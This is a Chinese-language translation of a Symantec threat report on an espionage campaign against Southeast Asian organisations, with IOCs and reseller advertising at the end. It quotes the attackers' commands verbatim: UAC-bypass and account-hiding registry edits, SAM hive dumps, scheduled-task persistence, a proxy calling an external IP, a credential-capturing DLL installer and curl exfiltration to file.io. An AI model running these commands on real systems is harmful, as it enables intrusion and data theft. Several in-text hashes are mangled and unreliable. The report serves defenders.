來自中國攻擊者可能針對東南亞的知名組織

2024 年 12 月 11 日發布｜威脅情報

威脅獵手團隊
賽門鐵克

間諜活動針對各部門的組織，包括政府、航空、電信等

威脅份子使用與中國 APT 組織相關的工具，以東南亞多個知名組織為目標，其中包括兩個不同國家的政府部門、一個空中航管組織、一家電信公司和一家媒體機構。

這些攻擊至少從 2023 年 10 月起就開始進行，其主要目標似乎是收集情報。攻擊者在行動中使用各種開源工具和他們的作業系統裡就地取材的本機工具。

雖然無法確定與特定威脅組織的關聯，但該活動中使用的多個工具與多個中國威脅者有連結 (有關詳細訊息，請參閱「工具」部分)。值得注意的是，使用被稱為 Rakshasa 的代理工具和用於 DLL 側載的合法應用程式檔案，這兩者均曾被稱為 Earth Baku(又名APT41、Brass Typhoon) 的中國進階持續威脅 (APT) 組織使用。

典型的攻擊涉及使用遠端存取工具，該工具利用 Impacket 透過 WMI(Windows Management Instrumentation) 執行指令。然後，攻擊者安裝鍵盤記錄程式、密碼收集程式和反向代理工具 (Rakshasa、Stowaway、ReverseSSH) 以維持與攻擊者控制之基礎設施的連接。威脅份子還安裝自訂的 DLL 檔，充當身份驗證機制過濾程式，進而讓他們可以攔截到登入憑證。

工具與策略

威脅份子使用以下工具。然而，每次攻擊中使用的工具清單各不相同，且並非每次攻擊中都使用以下所有工具。

Dismap：開源資產搜尋與識別工具。

FastReverseProxy：FRP 是一種開源工具，用於將本機伺服器暴露到公共網際網路。

file.io 洩漏：攻擊者使用的命令顯明，在成功攻擊期間收集的資料已滲漏到合法文件共享網站 file.io。

Impacket：用 Python 編寫的開源模組集合，用於以程式設計方式建構和操作網路協定。它包含多種用於遠端服務執行、Kerberos 操作、Windows 憑證轉存、封包監聽和中繼攻擊的工具。

Infostealer：一種資訊收集工具，可在 C:\Users\[CURRENT USER]\AppData\Local\Microsoft\Windows\AppCache\AppCache.dat 中建立 AppCache 的隱藏資料夾和名為 AppCache.dat 的檔案。然後，它會將收集到的資訊加密並記錄到 AppCache.dat 中。

Inveigh：用於滲透測試人員的 .NET IPv4/IPv6 跨平台中間人工具。該工具可用於透過封包監聽和特定通訊協定監聽／sockets 以進行欺騙攻擊和雜湊／憑證擷取。

鍵盤記錄程式：攻擊者安裝自訂的 DLL 檔案作為驗證機制過濾器，有效地讓他們可以攔截使用者從實體電腦登入時的憑證。

濫用合法應用程式進行 DLL 側載：攻擊者使用 2011 年的合法應用程式檔案 (Bitdefender Crash Handler) 進行 DLL 側載。該檔案之前曾被用於多次攻擊，其中一些攻擊與名為 Earth Baku(又名 APT41、Brass Typhoon) 的中國 APT 組織有關。

就地取材：攻擊者也利用了幾種就地取材的工具，包括：

- **PowerShell**：微軟腳本工具，可用於執行指令、下載有效負載、遍歷受感染的網路以及進行偵察。
- **Reg.exe**：Windows 命令列工具，可用於編輯本機或遠端電腦的登錄機碼。
- **WMI(Windows Management Instrumentation)**：微軟命令列工具，可用於在遠端電腦上執行指令。

NBTScan：開源的命令列NetBIOS 掃描程式。

PlugX (Korplug)：一種遠端存取木馬 (RAT)，可下載其他外掛程式以增強其資訊收集以外的功能。該惡意軟體最初僅與多個中國國家支持的威脅份子相關，包括 Budworm(又稱 APT27、Emissary Panda、Lucky Mouse) 和 Fireant(又名 Mustang Panda、APT31、Stately Taurus)。然而，自從該惡意軟體的原始碼據稱於 2015 年被洩漏以來，中國以外的其他各種威脅份子也使用該惡意軟體。

Rakshasa：一款用 Go 編寫的代理工具，專為多層代理和內網滲透而設計。 Earth Baku 之前曾使用過該工具。此外，該工具使用的語言是簡體中文。

ReverseSSH：具有反向 shell 功能的靜態連結 SSH 伺服器。

SharpGPOAbuse：以 C# 編寫的 .NET 應用程序，可用於利用使用者對群組原則物件 (GPO) 的編輯權限來破壞該 GPO 控制的物件。

SharpNBTScan：一個用 C# 寫的 NetBIOS 掃描工具。該工具之前曾被與中國有關的 APT 組織 Fireant(又稱 Mustang Panda、APT31、Stately Taurus) 使用。

Stowaway 代理工具：一種公開的多跳點代理工具，可讓使用者輕鬆地將其網路流量代理到內網節點。

TightVNC：開源遠端桌面軟體。

WinRAR：一種壓縮檔管理程式，可用於壓縮或 zip 檔案--例如：在洩漏之前。

攻擊時間軸

目標組織之一的網路上發生以下活動。在這種情況下，攻擊者在 2024 年 6 月至 8 月之間活躍至少三個月，專注於情報收集，特別是收集並可能洩露感興趣的資料。雖然此案例強調一種特定的方法，但在其他攻擊中，威脅份子採用額外的策略、技術和程序 (TTP)，例如：DLL 側載，並利用 Rakshasa 和 SharpGPOAbuse 等工具來實現其目標。

機器 1

該組織內首次出現惡意活動跡像是在當地時間 5 月 27 日 14:15，執行可疑的 PowerShell 指令。此指令用於修改註冊表，特別是系統政策，以啟用「LocalAccountTokenFilterPolicy」。此機碼值負責控製本機帳戶用於遠端存取 Windows 系統時的過濾方式。透過將機碼值設定為“1”，可以有效停用本機帳戶的遠端 UAC 過濾，進而允許本機管理員帳戶使用提升的權杖 (遠端連線時具有完整的管理權限)。

14 點 18 分，透過 WMI 服務執行另一個可疑指令：

cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$__1716819456.018484 2>&1

此管道命名習慣通常表示正在使用 Impacket 的遠端工具來執行命令 (也透過程序的線程得到證實)。這是一個常見作為橫向移動工具 (例如：wmiexec) 階段的指令。

14:22，執行幾個額外的查詢指令：

- netsh wlan show profiles
- net share
- netstat -abnop tcp

這些指令用於顯示無線網路設定檔訊息，包括過去連接的任何無線網路之網路名稱。

net share 指令列出所有可用的網路共用。

netstat 指令列出電腦上所有活動的 (已建立和正在監聽) TCP 連線。

第二天 5 月 28 日 12 點 51 分，又透過 WMI 執行另一個可疑指令：

cmd.exe /Q /c move ChromeUpdate.dat ChromeUpdate.exe 1> \\127.0.0.1\ADMIN$__1716900555.2954416 2>&1

此指令用於將名稱為 ChromeUpdate.dat(SHA-256：8b6d081be732743aa6f6bccfb68b3f21878aa36723c1311f50406d752aacc9fa) 的可能上傳檔案重新命名為 ChromeUpdate.exe。

接下來，執行該檔案，並將“install”作為命令列參數傳遞：

ChromeUpdate.exe /install

該檔案包含 64 位元系統的加密嵌入式鍵盤記錄器有效負載。

13:07，執行多個可疑的註冊表編輯和排程相關的指令：

reg add hklm\software\microsoft\windows\CurrentVersion\run /v mscorsvc /t REG_EXPAND_SZ /d "\"CSIDL_PROGRAM_FILESX86\microsoft.net\redistlist\mscorsvw.exe"" /f

schtasks /create /sc once /st 23:59 /ru "[REMOVED]" /tn autorun /tr "CSIDL_PROGRAM_FILESX86\microsoft.net\redistlist\mscorsvw.exe" /F

schtasks /run /tn autorun

這些指令被用在run的註冊表裡建立“mscorsvc”機碼，值為 mscorsvw.exe ，這會在每次系統啟動時啟動該檔案。

schtasks 指令在使用者帳號「[REMOVED]」下建立一個名為「autorun」的排程任務，並被設定為僅在當天 23:59 執行一次。

緊接著，執行 schtasks 來啟動 autorun(即 mscorsvw.exe) 的排程。

13:13，為另一個檔案建立另一個排程：

```
schtasks /create /sc once /st 23:59 /ru "[REMOVED]" /tn autorun /tr "CSIDL_SYSTEMX86\wbem\
wintulxs.exe -c 38.60.146.78:443 -s 1qaz2wsx4rfv -reconnect 10" /F
```

該排程在當天 23:59 執行一次，使用「autorun」排程名稱來執行名為「wintulxs.exe」的檔案(SHA-256：d312b0e1968beae5a2ff3be2d8efc6d1bfdab3b1aec6faf8eafa295c723232323232323)。該工具是一款免費的中文代理工具，名為 Stowaway，其描述為提供「將外部流量透過多個節點代理到核心內網，突破內網存取限制」的能力。

5 月 30 日 03:16，攻擊者重新回應並執行一連串的「net」指令，以列出網路共享的連線和可用的共享，並查看遠端主機上的可用共享。攻擊者也安裝網路共用。

隨後，執行“fsutil”指令列出所有可用的檔案系統磁碟機 (例如：C:)。

```
net session
net share
net view
net view \\192.168.21.65
net use [REMOVED]\\192.168.21.108/u:[REMOVED]
net use [REMOVED]/d/y
net use [REMOVED]\\192.168.21.61/u:[REMOVED]
fsutil fsinfo drives
```

機器 2

在 5 月 27 日 13:41 首次攻擊者活動時，在另一台電腦上也觀察到了其他可疑活動。

執行與先前觀察到類似指令作為繞過 UAC 的方法。這次指令是透過 TightVNC 執行的。

```
net user [REMOVED]
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
net localgroup [REMOVED] [REMOVED] /add
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```

15 點 08 分，又執行一條可疑的 reg.exe 指令：

"CSIDL_SYSTEM\reg.exe" add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v [REMOVED] /t REG_DWORD /d 0 /f

此指令用於修改 Windows 註冊表，特別是在使用者登入期間隱藏特定帳戶，使其不顯示在使用者清單中。

不久後的 15:10，攻擊者在註冊表中出現並轉存密碼：

cmd.exe /Q /c cd 1> \\127.0.0.1\ADMIN$__1716822622.7074058 2>&1
reg save hklm\sam sam.hive
reg save hklm\system system.hive
cmd.exe /Q /c dir /on CSIDL_PROGRAM_FILES\winrar\rar.exe 1> \\127.0.0.1\ADMIN$__1716822622.7074058 2>&1

攻擊者並檢查 WinRAR 是否安裝在預設路徑中，像是用它來收集做隨後竊取 hive 檔案之用。
5 月 28 日 13:51，攻擊者使用 WMI 啟動命令提示字元。
第二天在 13:52，攻擊者回傳並複製一個偽裝成 .NET 框架中的未知檔案。

CSIDL_WINDOWS\microsoft.net\framework\v4.0.30319\mscorsvw.exe
→ CSIDL_SYSTEM_DRIVE\progra~2\microsoft.net\redistlist\mscorsvw.exe.

此後，攻擊者立即開始建立註冊表run機碼，並排程在 23:59 執行該樣本的工作：

reg add hklm\software\microsoft\windows\CurrentVersion\run /v mscorsvc /t REG_EXPAND_SZ /d "\"CSIDL_PROGRAM_FILESX86\microsoft.net\redistlist\mscorsvw.exe"" /f
schtasks /create /sc once /st 23:59 /ru "[REMOVED]" /tn autorun /tr "CSIDL_PROGRAM_FILESX86\microsoft.net\redistlist\mscorsvw.exe" /F
schtasks /run /tn autorun

最後，攻擊者使用 schtasks 啟動 autorun 服務，執行 mscorsvw.exe。

機器 3

之後，8 月 20 日，攻擊者安裝 ReverseSSH 工具--winupdateser.exe(SHA-256：779b4a5f53d3128ab53dd8e13c362d6d077c3eb4987f878d7ef3416c801ef0dd)。

隨後，攻擊者於 07:32 在遠端系統上建立一個排程任務，以便在 15:35 使用排程名稱「Microsoft\windows\TaskScheduler\Maintenance」執行未知的 Windows 批次檔 (net.bat)：

schtasks /create /s [REMOVED] /u [REMOVED] /p [REMOVED] /tn "Microsoft\windows\TaskScheduler\Maintenance" /tr "CSIDL_SYSTEM\net.bat" /sc once /st 15:35

不久之後，WMI 被用來執行「ChromeUpdate.exe /install」以安裝鍵盤記錄程式。

08:11，使用 WMI 執行「ipconfig /all >> %TEMP%\cc.dat」收集網路設定資訊。

9月4日，攻擊者再次出現並建立多個排程工作，在多台機器上使用排程名稱「Microsoft\windows\TaskScheduler\Maintenance」執行未知的 Windows 批次檔：

schtasks /create /s [REDACTED] /u [REMOVED] /p [REMOVED] /tn "Microsoft\windows\TaskScheduler\Maintenance" /tr "CSIDL_WINDOWS\temp\[REDACTED]udpate.bat" /sc once /st 15:58

機器 4

8 月 6 日 12:21，攻擊者存取另一台電腦，並在其中執行了腳本 (ime.bat)，以安裝名稱為 Win32Pro 的新身份驗證機制。

```
echo off
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos /v Auth0 /t REG_SZ /d "Win32Pro" /f >>c:\windows\ime\ime.log
REG
QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" >>c:\windows\ime\ime.log
REG
QUERY "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" >>c:\windows\ime\ime.log
del %0
```

安裝後，攻擊者透過另一個名稱為 rpc2.exe 的檔案 (SHA-256：e0f3b8028a2969e28) 啟動「win32pro.dll」的檔案 (SHA-256：89707a5bf9862a9effb1618a1a285a6868)0efdd770978a54181fc242dd26cbf0a22e922f1e6a1b951)。

CSIDL_SYSTEM\rpc2.exe CSIDL_SYSTEM\win32pro.dll

檔案「win32pro.dll」用於擷取和收集使用者登入訊息，包括當下時間、網域名稱、使用者名稱、機器名稱和密碼。擷取的憑證以金鑰“rfvfsj”並使用 RC4 加密演算法儲存在以下位置：

- c:\windows\system32\normcache.nls
- C:\Windows\SYSVOL\domain\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\caches.db

滲透活動

在這些行動過程中，攻擊者在目標組織內進行滲透活動。他們長期存取這些網路，通常持續數個月，同時秘密行動以避免被發現。

在此期間，他們專注在收集憑證 (包括密碼) 以及繪製網路地圖以識別感興趣的系統。

滲透是透過多種策略進行的，包括使用 WinRAR 收集感興趣的檔案，隨後將其壓縮為受密碼保護的壓縮檔。然後，這些檔案被上傳到 File.io 等雲端儲存服務，使攻擊者能夠秘密竊取敏感資料，同時最大程度地降低暴露風險。這種延長的停留時間和經過計算的方法凸顯了威脅份子的複雜性和持久性。

CSIDL_SYSTEM\cmd.exe /c CSIDL_SYSTEM_DRIVE\program files\winrar\rar.exe a -k -r -s -m5 -v100M "CSIDL_PROFILE\public\downloads\m1.rar" c:\users\public\downloads*.csv

CSIDL_SYSTEM\cmd.exe /c CSIDL_SYSTEM_DRIVE\program files\winrar\rar.exe a -k -r -s -m5 -v100M "CSIDL_PROFILE\public\downloads\m2.rar" C:\windows\temp\Netwrix-Report-20240312112337\csv-files*.csv

CSIDL_SYSTEM\cmd.exe /c CSIDL_SYSTEM_DRIVE\program files\winrar\rar.exe a -k -r -s -m5 -v100M -hp@1232ws "CSIDL_PROFILE\public\downloads\m3.rar" CSIDL_PROFILE\public\downloads\[REMOVED]_sdulog.zip

CSIDL_SYSTEM\cmd.exe /c CSIDL_SYSTEM_DRIVE\program files\winrar\rar.exe a -k -r -s -m5 -v100M -hp@1232ws "CSIDL_PROFILE\public\downloads\m4.rar" \\[REMOVED]\logs$\Users*.csv

CSIDL_SYSTEM\cmd.exe /c CSIDL_SYSTEM_DRIVE\program files\winrar\rar.exe a -k -r -s -m5 -v100M -hp@1232ws "CSIDL_PROFILE\public\downloads\m5.rar" \\[REMOVED]\logs$\Computers*.csv

curl -k -F “file=@c:\users\public\[REMOVED]_sdulog.zip” https://file.io

curl -k -F "file=@c:\users\public\downloads\m3.rar" https://file.io

歸屬

雖然活動中的攻擊者使用了多種 TTP，這些 TTP 在目標組織之間略有不同，但目標組織的地理位置以及使用先前與中國 APT 組織相關的工具顯明，該活動是中國駭客所為。

這些攻擊中使用的工具已被中國國家支持的組織使用，例如：Fireant(又名Mustang Panda、APT31、Stately Taurus)、Earth Baku(又名APT41、Brass Typhoon）、Budworm（又名APT27、Emissary Panda、Lucky Mouse）、和其他。然而，由於許多此類群體經常共用工具並使用類似的 TTP，因此在這種情況下沒辦法進行具體歸屬。

防護方案／緩解措施

有關最新的防護更新，請訪問賽門鐵克原廠最新的防護公告 (Protection Bulletins)。

入侵指標 (Indicators of Compromise)

如果 IOC 是惡意的並且我們能夠使用該檔案，Symantec Endpoint 產品將檢測並阻止該檔案。

d312b0e1968beae5a2ff3be2d8efc6d1bfdab3b1aec6faf8eafa295c47230194 – Stowaway

e0f3b8028a2969e280efdd770978a54181fc242dd26cbf0a22e922f1e6a1b951 – 批次檔載入程式

33cb9f06338a9ea17107abbdc478071bbe097f80a835bbac462c4bb17cd0b798 – PlugX載入程序

8b6d081be732743aa6f6bccfb68b3f21878aa36723c1311f50406d752aacc9fa – 鍵盤記錄程式

89707a5bf9862a9effb1618a1a285a8d027fb343f6103f4bc68f736889f0a86e – 鍵盤記錄程式

9fe3ff51443c41fe0be01a55a3a5fbfb261bcf63b3b0cd67f65a2c00a6d52ff3 – 鍵盤記錄程式

e6cecba25abd092bfccba825298edecd2fdee6c428d9ae85399fabc54355e31f – 鍵盤記錄載入程序

779b4a5f53d3128ab53dd8e13c362d6d077c3eb4987f878d7ef3416c801ef0dd – 反向SSH

e9572549b2f35f32861ffc9be160e9c8f86e4d9d3dd43c3727f0df4dc2acc944 – 資訊竊取程式

e0f3b8028a2969e280efdd770978a54181fc242dd26cbf0a22e922f1e6a1b951 – 憑證轉存工具

b7472c6f6cba47ec85fa147c78f3a7a40a4fc5913fe41654ab499a7b1bd4ea2e – 用於註冊自訂 DLL 以掛鉤 Windows 驗證機制的批次檔

3e4d86c4e1d463b99478f960c9c00f7d11cd0d1fb8dd2948e8340b7bc3550904 - 用於註冊自訂 DLL 以掛鉤 Windows 驗證機制的批次檔

fb603072418da9150673ac9826a46a2b2462c8fc0afeacb2034ecb2b7d666001 – 用於註冊自訂 DLL 以掛鉤 Windows 驗證機制的批次檔

340e872c814d221989ca2cb93819b9ad307572851b5b3f8bfcf791ff08e0e677 – 可疑的Windows腳本檔案

80c3effc8f017b26c549bed8ba82097a6be7a59e383dd35adc917bf661e0a754 – 刪除 SharpGPOAbuse 和 Rakshasa 的 Windows 腳本檔案

9b1794a1c8c59631d95178c7c4e2f5917b84864b342b4cfdab8f0990c3dbf5d2 – FastReverseProxy

ca0eeb4b71d4124dec785a9492970e9b1cfaa4cab0e8ca4486fc14b2e256d7f7 – Inveigh

d7b85b92fb185272b89a7ff27424bff22a5a6542f6bde9838482aa9f87979828 – Dismap

fa6de0d0bc9d83a3942aa8b3a12a5924dc662bec32cb3c2f212a0a0c0a4ebc7a – SharpNbtscan

10029f14f2718362144b0e9b660994e8fb944af9ce9fcff04925f8b0615bb509 – SharpGPOAbuse

aa096f18e712ac0604e18d16441b672fcb393de9edf3ff4393519c48ab26a158 – Rakshasa

386eb7aa33c76ce671d6685f79512597f1fab28ea46c8ec7d89e58340081e2bd – Bitdefender Crash Handler (2011)

38.60.146[.]78:443 – Stowaway

118.107.219[.]66:443 – Stowaway

45.123.188[.]180 – FastReverseProxy

198.244.237[.]131 – Rakshasa下載

原廠網址：https://www.security.com/threat-intelligence/china-southeast-asia-espionage

關於作者

威脅獵手團隊

賽門鐵克

威脅獵手 (Threat Hunter) 團隊是賽門鐵克內部的一群安全專家，其任務是調查有針對性的攻擊，推動賽門鐵克產品的增強保護，並提供分析以幫助客戶應對攻擊。

關於賽門鐵克 (Symantec)

賽門鐵克 (Symantec) 已於 2019/11 併入全球網通晶片巨擘--博通 (BroadCom，美國股市代號 AVGO，全世界網際網路流量有 99.9% 經過博通的網通晶片) 軟體事業部的企業安全部門 (SED)，特別是近年以半導體的嚴謹、系統化以及零錯誤思維來改造核心技術、管理框架以及整合最完整的資安生態體系，讓賽門鐵克的解決方案在穩定性、相容性、有效性以及資安生態系整合擴充性，有著脫胎換骨並超越業界的長足進步。博通 (Broadcom) 是務實的完美主義者，致力於追求卓越、關注細節並且有系統和紀律地投入科技創新與嚴謹工藝，同時也大大降低交易複雜性。Symantec 持續創新的技術能為日新月異的資安問題提供更好的解決方案，近三年 Symantec 很少出現在由公關機制產生的頭版文章中，而且在全球前兩千大企業的市佔率及營收成長均遠遠高於併入博通之前，增長幅度也領先其他競爭對手，是科技創新驅動的解決方案非常穩健可靠深受大型企業信賴的實證，也顯示大型企業顧客對轉型中的新賽門鐵克未來充滿信心。(美籍華人王嘉廉創辦的企業軟體公司，組合國際電腦（CA Technologies）以及雲端運算及「硬體虛擬化」的領導廠商--VMware， 也是博通軟體事業部的成員)。2021 年八月，因應國外發動的針對性攻擊日益嚴重，美國網路安全暨基礎架構安全管理署（CISA）宣布聯合民間科技公司，發展全國性聯合防禦計畫 JCDC(Joint Cyber Defense Collaborative)，而博通賽門鐵克是首輪被徵招的一線廠商，如就地緣政治考量，Symantec 也絕對是最安全的資安廠商。擁有更強大資源與技術為後盾的賽門鐵克已更專注於整合各種最新科技於既有領先業界的端點、郵件、網頁以及身分認證等安全解決方案。

關於保安資訊 www.savetime.com.tw

保安資訊團隊是台灣第一家專注在賽門鐵克解決方案的技術型領導廠商，被業界公認為賽門鐵克解決方案專家。自 1995 年起就全心全力專注在賽門鐵克資訊安全解決方案的技術支援、銷售、規劃與整合、教育訓練、顧問服務，特別是提供企業 IT 專業人員的知識傳承 (Knowledge Transfer)、協助顧客符合邏輯地解決資安問題本質的效益上，以及基於比原廠更孰悉用戶使用情境的優勢能提供更快速有效的技術支援回應，深獲許多中大型企業與組織的信賴，長期合作的意願與滿意度極高。許多顧客樂意與我們建立起長期的友誼，把我們當成可信任的資安建議者、可以提供良好諮商的資安策略夥伴以及總是第一個被想到的好用資源。

保安資訊連絡電話：**0800-381-500**。